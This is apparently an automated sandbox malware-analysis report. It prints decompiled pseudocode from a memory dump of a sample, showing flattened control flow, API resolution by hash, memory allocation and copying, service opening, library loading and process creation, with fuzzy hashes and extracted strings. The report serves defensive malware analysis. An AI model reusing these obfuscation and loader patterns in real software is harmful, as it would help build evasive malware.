Instruction Fuzzy Hash: F661F8307243024BDB28EF6CAC997FA3295EBA1788F15041DF245DB351EA70DDA58B92

Uniqueness

Uniqueness Score: -1.00%

Function 002B8400, Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E002B8400(void* __ebx, void* __ebp) {
				short _v524;
				char _v564;
				char _v572;
				struct _SECURITY_ATTRIBUTES* _v576;
				signed int _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				intOrPtr _v596;
				intOrPtr* _t75;
				intOrPtr* _t82;
				intOrPtr* _t85;
				void* _t92;
				intOrPtr* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;
				signed int _t119;
				void* _t121;
				void* _t122;
				signed int _t123;
				intOrPtr _t124;
				void* _t126;
				void* _t129;

				_t126 = __ebp;
				_t101 = __ebx;
				_v584 = 0xdbec;
				_v584 = _v584 + 0xa437;
				_v584 = _v584 | 0x0afcf5fb;
				_v584 = _v584 ^ 0x9493ba05;
				_v584 = _v584 >> 0xc;
				_v584 = _v584 >> 0xb;
				_v584 = _v584 ^ 0x000001bc;
				_v592 = 0x7d19;
				_v592 = _v592 << 9;
				_v592 = _v592 >> 0xe;
				_v592 = _v592 + 0xffff07e5;
				_v592 = _v592 | 0x8aea6eef;
				_v592 = _v592 + 0xd867;
				_v592 = _v592 + 0x9c41;
				_v592 = _v592 + 0x3de0;
				_v592 = _v592 + 0x218b;
				_v592 = _v592 ^ 0x00014403;
				_v588 = 0x2591;
				_t123 = 0x4a20241;
				_v588 = _v588 * 0x7d;
				_v588 = _v588 + 0x8d68;
				_v588 = _v588 + 0xffff8911;
				_v588 = _v588 * 0x6a;
				_v588 = _v588 + 0xffff93d5;
				_v588 = _v588 ^ 0x07a13cd2;
				_v580 = 0x789;
				_v580 = _v580 >> 1;
				_v580 = _v580 ^ 0xaee58af2;
				_v580 = _v580 ^ 0xaee58936;
				_t122 = _v580;
				goto L1;
				do {
					while(1) {
						L1:
						_t129 = _t123 - 0x1aed34c4;
						if(_t129 > 0) {
							break;
						}
						if(_t129 == 0) {
							_v580 = 0xa8c00;
							_v576 = 0;
							_v596 = E002BB6E0(_v580, _v576, 0x989680, 0);
							_v592 = _t119;
							_t121 = _v588 - _v564;
							_t124 = _v596;
							asm("sbb ecx, [esp+0x3c]");
							__eflags = _v584 - _v592;
							if(__eflags < 0) {
								goto L16;
							} else {
								if(__eflags > 0) {
									L29:
									return 1;
								} else {
									__eflags = _t121 - _t124;
									if(_t121 < _t124) {
										goto L16;
									} else {
										goto L29;
									}
								}
							}
						} else {
							if(_t123 == 0x12f5064) {
								_t82 =  *0x2bdec0;
								__eflags = _t82;
								if(_t82 == 0) {
									_t99 = E002B3F00(0x9bab0b12);
									_t119 = 0x8b0c7279;
									_t82 = E002B3E60(_t101, _t99, 0x8b0c7279, _t126);
									 *0x2bdec0 = _t82;
								}
								 *_t82(_t122, 0,  &_v564, 0x28);
								asm("sbb esi, esi");
								_t85 =  *0x2bde3c;
								_t123 = (_t123 & 0xf96a5287) + 0x13ef6fdf;
								__eflags = _t85;
								if(_t85 == 0) {
									_t98 = E002B3F00(0x9bab0b12);
									_t119 = 0x20de7595;
									_t85 = E002B3E60(_t101, _t98, 0x20de7595, _t126);
									 *0x2bde3c = _t85;
								}
								 *_t85(_t122);
								goto L15;
							} else {
								if(_t123 == 0x4a20241) {
									_t123 = 0x33602029;
									continue;
								} else {
									if(_t123 != 0xd59c266) {
										goto L15;
									} else {
										_t93 =  *0x2be1d4;
										if(_t93 == 0) {
											_t97 = E002B3F00(0x9bab0b12);
											_t119 = 0xa229df38;
											_t93 = E002B3E60(_t101, _t97, 0xa229df38, _t126);
											 *0x2be1d4 = _t93;
										}
										 *_t93( &_v572);
										_t123 = 0x1aed34c4;
										continue;
									}
								}
							}
						}
						L30:
					}
					__eflags = _t123 - 0x33602029;
					if(_t123 == 0x33602029) {
						_t75 =  *0x2be3f4;
						__eflags = _t75;
						if(_t75 == 0) {
							_t100 = E002B3F00(0x9bab0b12);
							_t119 = 0x7dc9b9bb;
							_t75 = E002B3E60(_t101, _t100, 0x7dc9b9bb, _t126);
							 *0x2be3f4 = _t75;
						}
						 *_t75(0,  &_v524, 0x104);
						_t123 = 0x3ae77736;
						goto L1;
					} else {
						__eflags = _t123 - 0x3ae77736;
						if(_t123 != 0x3ae77736) {
							goto L15;
						} else {
							__eflags =  *0x2bde04;
							if( *0x2bde04 == 0) {
								_t95 = E002B3F00(0x9bab0b12);
								_t119 = 0xb66d748a;
								 *0x2bde04 = E002B3E60(_t101, _t95, 0xb66d748a, _t126);
							}
							_t92 = CreateFileW( &_v524, _v584, _v592, 0, _v588, _v580, 0); // executed
							_t122 = _t92;
							__eflags = _t122 - 0xffffffff;
							if(_t122 == 0xffffffff) {
								break;
							} else {
								_t123 = 0x12f5064;
								goto L1;
							}
						}
					}
					goto L30;
					L15:
					__eflags = _t123 - 0x13ef6fdf;
				} while (_t123 != 0x13ef6fdf);
				L16:
				__eflags = 0;
				return 0;
				goto L30;
			}

0x002b8400
0x002b8400
0x002b8406
0x002b840e
0x002b8416
0x002b841e
0x002b8426
0x002b842b
0x002b8430
0x002b8438
0x002b8440
0x002b8445
0x002b844a
0x002b8452
0x002b845a
0x002b8462
0x002b846a
0x002b8472
0x002b847a
0x002b8482
0x002b8491
0x002b8496
0x002b849a
0x002b84a2
0x002b84af
0x002b84b3
0x002b84bb
0x002b84c3
0x002b84cb
0x002b84cf
0x002b84d7
0x002b84df
0x002b84df
0x002b84e3
0x002b84e3
0x002b84e3
0x002b84e3
0x002b84e9
0x00000000
0x00000000
0x002b84ef
0x002b866e
0x002b8676
0x002b8696
0x002b869a
0x002b86a2
0x002b86a6
0x002b86aa
0x002b86b2
0x002b86b4
0x00000000
0x002b86ba
0x002b86ba
0x002b86c5
0x002b86d1
0x002b86bc
0x002b86bc
0x002b86be
0x00000000
0x00000000
0x00000000
0x00000000
0x002b86be
0x002b86ba
0x002b84f5
0x002b84fb
0x002b854a
0x002b854f
0x002b8551
0x002b8558
0x002b855d
0x002b8564
0x002b8569
0x002b8569
0x002b8578
0x002b857c
0x002b857e
0x002b8589
0x002b858f
0x002b8591
0x002b8598
0x002b859d
0x002b85a4
0x002b85a9
0x002b85a9
0x002b85af
0x00000000
0x002b84fd
0x002b8503
0x002b8543
0x00000000
0x002b8505
0x002b850b
0x00000000
0x002b8511
0x002b8511
0x002b8518
0x002b851f
0x002b8524
0x002b852b
0x002b8530
0x002b8530
0x002b853a
0x002b853c
0x00000000
0x002b853c
0x002b850b
0x002b8503
0x002b84fb
0x00000000
0x002b84ef
0x002b85c8
0x002b85ce
0x002b8630
0x002b8635
0x002b8637
0x002b863e
0x002b8643
0x002b864a
0x002b864f
0x002b864f
0x002b8660
0x002b8662
0x00000000
0x002b85d0
0x002b85d0
0x002b85d6
0x00000000
0x002b85d8
0x002b85de
0x002b85e0
0x002b85e7
0x002b85ec
0x002b85fa
0x002b85fa
0x002b861d
0x002b861f
0x002b8621
0x002b8624
0x00000000
0x002b8626
0x002b8626
0x00000000
0x002b8626
0x002b8624
0x002b85d6
0x00000000
0x002b85b1
0x002b85b1
0x002b85b1
0x002b85bd
0x002b85bd
0x002b85c7
0x00000000

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,3251FEFE), ref: 002B861D

Strings

6w:, xrefs: 002B85D0
=, xrefs: 002B846A
) `3, xrefs: 002B8543
6w:, xrefs: 002B8662
) `3, xrefs: 002B85C8

Memory Dump Source

Source File: 0000000B.00000002.2275531038.00000000002B1000.00000020.00000001.sdmp, Offset: 002B0000, based on PE: true

Associated: 0000000B.00000002.2275502828.00000000002B0000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275638046.00000000002BD000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275727314.00000000002BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b0000_NlsData0414.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: ) `3$) `3$6w:$6w:$=
API String ID: 823142352-4124229693
Opcode ID: 580e1f5dd81868f08c559c9bd2d85233377d5c4cd84a3d1831c36b2182486849
Instruction ID: 831f4bcaac3c363c3c9708794a136954a9672548d74566d35ba05403c247f280
Opcode Fuzzy Hash: 580e1f5dd81868f08c559c9bd2d85233377d5c4cd84a3d1831c36b2182486849
Instruction Fuzzy Hash: 85612871A183029FC718DF28C4456AFB7E9ABE0794F00891DF49997290EBB4DD14CF82

Uniqueness

Uniqueness Score: -1.00%

Function 002A0D60, Relevance: 9.1, APIs: 6, Instructions: 124
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002A0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 002A0F08
Part of subcall function 002A0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 002A0F3E
Part of subcall function 002A0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 002A0F7F

VirtualAlloc.KERNEL32(?,?,00000000,?,?), ref: 002A0DB4
RtlMoveMemory.NTDLL(00000000,?,?), ref: 002A0DC3

Part of subcall function 002A1140: lstrcpynW.KERNEL32(00000000,00000000,00000000,00000010,002A0EFD,00000000), ref: 002A1155

RtlMoveMemory.NTDLL(00000000,-00000018,00000028), ref: 002A0E11
VirtualAlloc.KERNEL32(?,?,00000000,?,?), ref: 002A0E3D
RtlMoveMemory.NTDLL(00000000,?,?), ref: 002A0E6C
RtlFillMemory.KERNEL32(00000000,?,00000000), ref: 002A0E98

Memory Dump Source

Source File: 0000000B.00000002.2275450114.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a0000_NlsData0414.jbxd

Similarity

API ID: Memory$Move$AllocVirtual$Filllstrcpyn
String ID:
API String ID: 3581289920-0
Opcode ID: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction ID: 3f4ef585223d64f8b1f94bf32f9e03ed44efa4fecd0a17359ae8b774dc98dcb5
Opcode Fuzzy Hash: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction Fuzzy Hash: 0231E3B5A143416BD314DB20CD94AAB73E9EBCA391F044D2CBA4893351DE35E8A08B62

Uniqueness

Uniqueness Score: -1.00%

Function 002B3780, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E002B3780(void* __ecx, void* __edx, void* __edi, void* __esi) {
				char _v520;
				char _v528;
				char _v536;
				char _v1040;
				char _v1056;
				short _v1072;
				char* _v1076;
				char* _v1080;
				intOrPtr _v1084;
				intOrPtr* _t12;
				intOrPtr* _t14;
				intOrPtr* _t16;
				intOrPtr* _t18;
				intOrPtr* _t20;
				signed int _t26;
				void* _t36;
				void* _t63;
				void* _t66;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				struct _SHFILEOPSTRUCTW* _t73;

				_t70 =  &_v1072;
				_t12 =  *0x2bddc0;
				_t66 = __ecx;
				_t63 = __edx;
				if(_t12 == 0) {
					_t12 = E002B3E60(_t36, E002B3F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x2bddc0 = _t12;
				}
				 *_t12( &_v1072, 0, 0x1e);
				_t14 =  *0x2bddc0;
				_t71 = _t70 + 0xc;
				if(_t14 == 0) {
					_t14 = E002B3E60(_t36, E002B3F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x2bddc0 = _t14;
				}
				 *_t14( &_v1040, 0, 0x208);
				_t16 =  *0x2bddc0;
				_t72 = _t71 + 0xc;
				if(_t16 == 0) {
					_t16 = E002B3E60(_t36, E002B3F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x2bddc0 = _t16;
				}
				 *_t16( &_v520, 0, 0x208);
				_t18 =  *0x2be298;
				_t73 = _t72 + 0xc;
				if(_t18 == 0) {
					_t18 = E002B3E60(_t36, E002B3F00(0x9bab0b12), 0xba782e65, _t69);
					 *0x2be298 = _t18;
				}
				 *_t18( &_v1040, _t66);
				_t20 =  *0x2be298;
				if(_t20 == 0) {
					_t20 = E002B3E60(_t36, E002B3F00(0x9bab0b12), 0xba782e65, _t69);
					 *0x2be298 = _t20;
				}
				 *_t20( &_v528, _t63);
				_v1084 = 1;
				_v1080 =  &_v1056;
				_v1076 =  &_v536;
				_v1072 = 0xe14;
				if( *0x2be30c == 0) {
					 *0x2be30c = E002B3E60(_t36, E002B3F00(0xd9518805), 0x262a6194, _t69);
				}
				_t26 = SHFileOperationW(_t73); // executed
				asm("sbb eax, eax");
				return  ~_t26 + 1;
			}

0x002b3785
0x002b3780
0x002b378c
0x002b378f
0x002b3793
0x002b37a6
0x002b37ab
0x002b37ab
0x002b37b9
0x002b37bb
0x002b37c0
0x002b37c5
0x002b37d8
0x002b37dd
0x002b37dd
0x002b37ee
0x002b37f0
0x002b37f5
0x002b37fa
0x002b380d
0x002b3812
0x002b3812
0x002b3826
0x002b3828
0x002b382d
0x002b3832
0x002b3845
0x002b384a
0x002b384a
0x002b3855
0x002b3857
0x002b385e
0x002b3871
0x002b3876
0x002b3876
0x002b3884
0x002b388a
0x002b3892
0x002b389d
0x002b38a6
0x002b38b4
0x002b38cc
0x002b38cc
0x002b38d5
0x002b38d9
0x002b38e2

APIs

SHFileOperationW.SHELL32 ref: 002B38D5

Strings

X~, xrefs: 002B379F
X~, xrefs: 002B3806
X~, xrefs: 002B37D1

Memory Dump Source

Source File: 0000000B.00000002.2275531038.00000000002B1000.00000020.00000001.sdmp, Offset: 002B0000, based on PE: true

Associated: 0000000B.00000002.2275502828.00000000002B0000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275638046.00000000002BD000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275727314.00000000002BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b0000_NlsData0414.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID: X~$X~$X~
API String ID: 3080627654-3258893172
Opcode ID: d26c65213ae33bc4bd4c2a20ee0151606622601fb103d3ca11a3d4c85d08079e
Instruction ID: 390f4406f285ac082aeb45f3ae31498b89a6d47da05a986b681fd887215f7847
Opcode Fuzzy Hash: d26c65213ae33bc4bd4c2a20ee0151606622601fb103d3ca11a3d4c85d08079e
Instruction Fuzzy Hash: 8431BE71A202024BDB14EF79EC157FB37EAAB94744F000A2DB955CB292FA34DA118B91

Uniqueness

Uniqueness Score: -1.00%

Function 002B8E80, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 131
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E002B8E80() {
				short* _v4;
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t4;
				void* _t6;
				intOrPtr* _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				intOrPtr* _t22;
				void* _t25;
				void* _t42;
				short* _t43;
				intOrPtr _t44;
				short* _t45;
				void* _t46;
				void* _t47;

				_t25 = _v4;
				_t4 = 0x1779a150;
				_t46 = _v4;
				_t43 = _v4;
				_t42 = 0;
				goto L1;
				do {
					while(1) {
						L1:
						_t47 = _t4 - 0xebfcc22;
						if(_t47 <= 0) {
							break;
						}
						if(_t4 == 0x1779a150) {
							_t4 = 0x23287775;
							continue;
						} else {
							if(_t4 == 0x1e3d7119) {
								if( *0x2be270 == 0) {
									 *0x2be270 = E002B3E60(_t25, E002B3F00(0x26f5757c), 0x56e230f9, _t46);
								}
								_t6 = OpenServiceW(_t46, _t43, 0x10000); // executed
								_t25 = _t6;
								_t4 =  !=  ? 0xebfcc22 : 0xbf6010;
								continue;
							} else {
								if(_t4 != 0x23287775) {
									goto L22;
								} else {
									_t44 =  *0x2be54c; // 0x5be1f8
									_t45 = _t44 + 0x260;
									while( *_t45 != 0x5c) {
										_t45 = _t45 + 2;
									}
									_t43 = _t45 + 2;
									_t4 = 0x10ada17;
									continue;
								}
							}
						}
						L32:
					}
					if(_t47 == 0) {
						_t11 =  *0x2be4c8;
						if(_t11 == 0) {
							_t11 = E002B3E60(_t25, E002B3F00(0x26f5757c), 0xe9d3e51f, _t46);
							 *0x2be4c8 = _t11;
						}
						 *_t11(_t25);
						_t42 =  !=  ? 1 : _t42;
						_t4 = 0xd10de09;
						goto L1;
					} else {
						if(_t4 == 0xbf6010) {
							_t15 =  *0x2be18c;
							if(_t15 == 0) {
								_t15 = E002B3E60(_t25, E002B3F00(0x26f5757c), 0x268fe5f0, _t46);
								 *0x2be18c = _t15;
							}
							 *_t15(_t46);
							goto L31;
						} else {
							if(_t4 == 0x10ada17) {
								_t19 =  *0x2be310;
								if(_t19 == 0) {
									_t19 = E002B3E60(_t25, E002B3F00(0x26f5757c), 0x9ba7cd1, _t46);
									 *0x2be310 = _t19;
								}
								_t46 =  *_t19(0, 0, 0xf003f);
								if(_t46 == 0) {
									L31:
									return _t42;
								} else {
									_t4 = 0x1e3d7119;
									goto L1;
								}
							} else {
								if(_t4 != 0xd10de09) {
									goto L22;
								} else {
									_t22 =  *0x2be18c;
									if(_t22 == 0) {
										_t22 = E002B3E60(_t25, E002B3F00(0x26f5757c), 0x268fe5f0, _t46);
										 *0x2be18c = _t22;
									}
									 *_t22(_t25);
									_t4 = 0xbf6010;
									goto L1;
								}
							}
						}
					}
					goto L32;
					L22:
				} while (_t4 != 0x2dd4caa9);
				return _t42;
				goto L32;
			}

0x002b8e82
0x002b8e86
0x002b8e8c
0x002b8e91
0x002b8e96
0x002b8e98
0x002b8ea0
0x002b8ea0
0x002b8ea0
0x002b8ea0
0x002b8ea5
0x00000000
0x00000000
0x002b8f7f
0x002b9011
0x00000000
0x002b8f85
0x002b8f8a
0x002b8fd5
0x002b8fed
0x002b8fed
0x002b8ff9
0x002b8ffb
0x002b9009
0x00000000
0x002b8f8c
0x002b8f91
0x00000000
0x002b8f93
0x002b8f93
0x002b8f99
0x002b8fa3
0x002b8fa5
0x002b8fa8
0x002b8fae
0x002b8fb1
0x00000000
0x002b8fb1
0x002b8f91
0x002b8f8a
0x00000000
0x002b8f7f
0x002b8eab
0x002b8f3f
0x002b8f46
0x002b8f59
0x002b8f5e
0x002b8f5e
0x002b8f64
0x002b8f6d
0x002b8f70
0x00000000
0x002b8eb1
0x002b8eb6
0x002b901b
0x002b9022
0x002b9035
0x002b903a
0x002b903a
0x002b9040
0x00000000
0x002b8ebc
0x002b8ec1
0x002b8efc
0x002b8f03
0x002b8f16
0x002b8f1b
0x002b8f1b
0x002b8f2b
0x002b8f2f
0x002b9042
0x002b9049
0x002b8f35
0x002b8f35
0x00000000
0x002b8f35
0x002b8ec3
0x002b8ec8
0x00000000
0x002b8ece
0x002b8ece
0x002b8ed5
0x002b8ee8
0x002b8eed
0x002b8eed
0x002b8ef3
0x002b8ef5
0x00000000
0x002b8ef5
0x002b8ec8
0x002b8ec1
0x002b8eb6
0x00000000
0x002b8fbb
0x002b8fbb
0x002b8fcd
0x00000000

APIs

OpenServiceW.ADVAPI32(3251FEFE,?,00010000,?,3251FEFE,?,186D334D,005BE1F8,002B8782,?,3251FEFE,?), ref: 002B8FF9

Strings

uw(#, xrefs: 002B8F8C
uw(#, xrefs: 002B9011

Memory Dump Source

Source File: 0000000B.00000002.2275531038.00000000002B1000.00000020.00000001.sdmp, Offset: 002B0000, based on PE: true

Associated: 0000000B.00000002.2275502828.00000000002B0000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275638046.00000000002BD000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275727314.00000000002BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b0000_NlsData0414.jbxd

Yara matches

Similarity

API ID: OpenService
String ID: uw(#$uw(#
API String ID: 3098006287-1105621689
Opcode ID: a79fce450df5259719944f1ce114849dee8ec80c12012486dfa489b1898e9896
Instruction ID: 8ff505074defa0441bccb6eb9b0715e05311e47fa5b5719564ccf26b1884f7cc
Opcode Fuzzy Hash: a79fce450df5259719944f1ce114849dee8ec80c12012486dfa489b1898e9896
Instruction Fuzzy Hash: 3141FA31B342059BDF20AFBC6C857FA22DAAB947D0F610925F95AC7B41EE70DC508B91

Uniqueness

Uniqueness Score: -1.00%

Function 002B7120, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E002B7120(void* __ebx) {
				void* _t2;
				struct HINSTANCE__* _t8;
				intOrPtr* _t9;
				intOrPtr* _t11;
				void* _t21;
				intOrPtr _t23;
				void* _t48;
				WCHAR* _t51;
				void* _t53;
				void* _t54;
				void* _t55;

				_t21 = __ebx;
				_t2 = 0x291da748;
				goto L1;
				do {
					while(1) {
						L1:
						_t54 = _t2 - 0x1a8031ec;
						if(_t54 > 0) {
							break;
						}
						if(_t54 == 0) {
							_t51 = E002B34C0(0x2bd830);
							__eflags =  *0x2bdd1c;
							if( *0x2bdd1c == 0) {
								 *0x2bdd1c = E002B3E60(_t21, E002B3F00(0x9bab0b12), 0xe4b28d97, _t53);
							}
							_t8 = LoadLibraryW(_t51);
							_t23 =  *0x2be548; // 0x5f7ed8
							 *(_t23 + 0x4c) = _t8;
							_t9 =  *0x2be494;
							__eflags = _t9;
							if(_t9 == 0) {
								_t9 = E002B3E60(_t21, E002B3F00(0x9bab0b12), 0x7facde30, _t53);
								 *0x2be494 = _t9;
							}
							_t48 =  *_t9();
							_t11 =  *0x2bdf30;
							__eflags = _t11;
							if(_t11 == 0) {
								_t11 = E002B3E60(_t21, E002B3F00(0x9bab0b12), 0x5010a54d, _t53);
								 *0x2bdf30 = _t11;
							}
							return  *_t11(_t48, 0, _t51);
						} else {
							_t55 = _t2 - 0x185e9846;
							if(_t55 > 0) {
								__eflags = _t2 - 0x18843476;
								if(__eflags != 0) {
									goto L21;
								} else {
									E002B7080(_t21, 0x2bd7a0, 4, __eflags);
									_t2 = 0x2eb73d4f;
									continue;
								}
							} else {
								if(_t55 == 0) {
									E002B7080(_t21, 0x2bd8f0, 2, __eflags);
									_t2 = 0x9da2520;
									continue;
								} else {
									if(_t2 == 0x9da2520) {
										E002B7080(_t21, 0x2bd800, 3, __eflags);
										_t2 = 0x18843476;
										continue;
									} else {
										_t57 = _t2 - 0x15a7f569;
										if(_t2 != 0x15a7f569) {
											goto L21;
										} else {
											E002B7080(_t21, 0x2bd860, 0, _t57);
											_t2 = 0x39797244;
											continue;
										}
									}
								}
							}
						}
						L30:
					}
					__eflags = _t2 - 0x2eb73d4f;
					if(__eflags > 0) {
						__eflags = _t2 - 0x39797244;
						if(__eflags != 0) {
							goto L21;
						} else {
							E002B7080(_t21, 0x2bd890, 1, __eflags);
							_t2 = 0x185e9846;
							goto L1;
						}
					} else {
						if(__eflags == 0) {
							E002B7080(_t21, 0x2bd7e0, 5, __eflags);
							_t2 = 0x22a44863;
							goto L1;
						} else {
							__eflags = _t2 - 0x22a44863;
							if(__eflags == 0) {
								E002B7080(_t21, 0x2bd8c0, 6, __eflags);
								_t2 = 0x1a8031ec;
								goto L1;
							} else {
								__eflags = _t2 - 0x291da748;
								if(__eflags != 0) {
									goto L21;
								} else {
									_t2 = 0x15a7f569;
									goto L1;
								}
							}
						}
					}
					goto L30;
					L21:
					__eflags = _t2 - 0x21acdd7e;
				} while (__eflags != 0);
				return _t2;
				goto L30;
			}

0x002b7120
0x002b7120
0x002b7120
0x002b7125
0x002b7125
0x002b7125
0x002b7125
0x002b712a
0x00000000
0x00000000
0x002b7130
0x002b723f
0x002b7246
0x002b7248
0x002b7260
0x002b7260
0x002b7266
0x002b7268
0x002b726e
0x002b7271
0x002b7276
0x002b7278
0x002b728b
0x002b7290
0x002b7290
0x002b7297
0x002b7299
0x002b729e
0x002b72a0
0x002b72b3
0x002b72b8
0x002b72b8
0x002b72c5
0x002b7136
0x002b7136
0x002b713b
0x002b7190
0x002b7195
0x00000000
0x002b719b
0x002b71a5
0x002b71aa
0x00000000
0x002b71aa
0x002b713d
0x002b713d
0x002b7184
0x002b7189
0x00000000
0x002b713f
0x002b7144
0x002b716e
0x002b7173
0x00000000
0x002b7146
0x002b7146
0x002b714b
0x00000000
0x002b7151
0x002b7158
0x002b715d
0x00000000
0x002b715d
0x002b714b
0x002b7144
0x002b713d
0x002b713b
0x00000000
0x002b7130
0x002b71b4
0x002b71b9
0x002b7207
0x002b720c
0x00000000
0x002b720e
0x002b7218
0x002b721d
0x00000000
0x002b721d
0x002b71bb
0x002b71bb
0x002b71f8
0x002b71fd
0x00000000
0x002b71bd
0x002b71bd
0x002b71c2
0x002b71df
0x002b71e4
0x00000000
0x002b71c4
0x002b71c4
0x002b71c9
0x00000000
0x002b71cb
0x002b71cb
0x00000000
0x002b71cb
0x002b71c9
0x002b71c2
0x002b71bb
0x00000000
0x002b7227
0x002b7227
0x002b7227
0x002b7232
0x00000000

APIs

LoadLibraryW.KERNEL32(00000000,?,3251FEFE,002B68AC), ref: 002B7266

Strings

Dry9, xrefs: 002B7207
Dry9, xrefs: 002B715D

Memory Dump Source

Source File: 0000000B.00000002.2275531038.00000000002B1000.00000020.00000001.sdmp, Offset: 002B0000, based on PE: true

Associated: 0000000B.00000002.2275502828.00000000002B0000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275638046.00000000002BD000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275727314.00000000002BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b0000_NlsData0414.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: Dry9$Dry9
API String ID: 1029625771-121480178
Opcode ID: dc359577804550e0675c0a6cc7e8277e4a5f4e1bc9aaf034ad42abb0cf27535f
Instruction ID: 9f51e105efe6d184db031b211d7d75ea5c2a6e3f79c2943475a7dae6cb818efa
Opcode Fuzzy Hash: dc359577804550e0675c0a6cc7e8277e4a5f4e1bc9aaf034ad42abb0cf27535f
Instruction Fuzzy Hash: 7731C420B3D10147DA24AEBE58A53FE11AA9BF03C4B604436F595CB795ED26CD324BA2

Uniqueness

Uniqueness Score: -1.00%

Function 002B4B70, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E002B4B70(void* __ebx, WCHAR* __ecx, WCHAR* __edx, void* __ebp, int _a4, intOrPtr _a12) {
				struct _STARTUPINFOW _v72;
				struct _PROCESS_INFORMATION _v88;
				intOrPtr* _t9;
				int _t12;
				intOrPtr* _t15;
				intOrPtr* _t17;
				WCHAR* _t44;
				WCHAR* _t45;

				_t46 = __ebp;
				_t26 = __ebx;
				_t9 =  *0x2bddc0;
				_t45 = __edx;
				_t44 = __ecx;
				if(_t9 == 0) {
					_t9 = E002B3E60(__ebx, E002B3F00(0xc6fbcd74), 0x7e0ae558, __ebp);
					 *0x2bddc0 = _t9;
				}
				 *_t9( &_v72, 0, 0x44);
				_v72.cb = 0x44;
				if( *0x2be21c == 0) {
					 *0x2be21c = E002B3E60(_t26, E002B3F00(0x9bab0b12), 0xbd6cc871, _t46);
				}
				_t12 = CreateProcessW(_t44, _t45, 0, 0, _a4, 0, 0, 0,  &_v72,  &_v88); // executed
				if(_t12 == 0) {
					return 0;
				} else {
					if(_a12 == 0) {
						_t15 =  *0x2bde3c;
						if(_t15 == 0) {
							_t15 = E002B3E60(_t26, E002B3F00(0x9bab0b12), 0x20de7595, _t46);
							 *0x2bde3c = _t15;
						}
						 *_t15(_v88.hProcess);
						_t17 =  *0x2bde3c;
						if(_t17 == 0) {
							_t17 = E002B3E60(_t26, E002B3F00(0x9bab0b12), 0x20de7595, _t46);
							 *0x2bde3c = _t17;
						}
						 *_t17(_v88.hProcess);
						return 1;
					} else {
						asm("movdqu xmm0, [esp+0x8]");
						asm("movdqu [eax], xmm0");
						return 1;
					}
				}
			}

0x002b4b70
0x002b4b70
0x002b4b70
0x002b4b79
0x002b4b7c
0x002b4b80
0x002b4b93
0x002b4b98
0x002b4b98
0x002b4ba6
0x002b4bb0
0x002b4bba
0x002b4bd2
0x002b4bd2
0x002b4bf1
0x002b4bf5
0x002b4c7a
0x002b4bf7
0x002b4bfd
0x002b4c14
0x002b4c1b
0x002b4c2e
0x002b4c33
0x002b4c33
0x002b4c3c
0x002b4c3e
0x002b4c45
0x002b4c58
0x002b4c5d
0x002b4c5d
0x002b4c66
0x002b4c72
0x002b4bff
0x002b4bff
0x002b4c05
0x002b4c13
0x002b4c13
0x002b4bfd

APIs

CreateProcessW.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 002B4BF1

Strings

X~, xrefs: 002B4B8C
D, xrefs: 002B4BB0

Memory Dump Source

Source File: 0000000B.00000002.2275531038.00000000002B1000.00000020.00000001.sdmp, Offset: 002B0000, based on PE: true

Associated: 0000000B.00000002.2275502828.00000000002B0000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275638046.00000000002BD000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275727314.00000000002BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b0000_NlsData0414.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: D$X~
API String ID: 963392458-2090554203
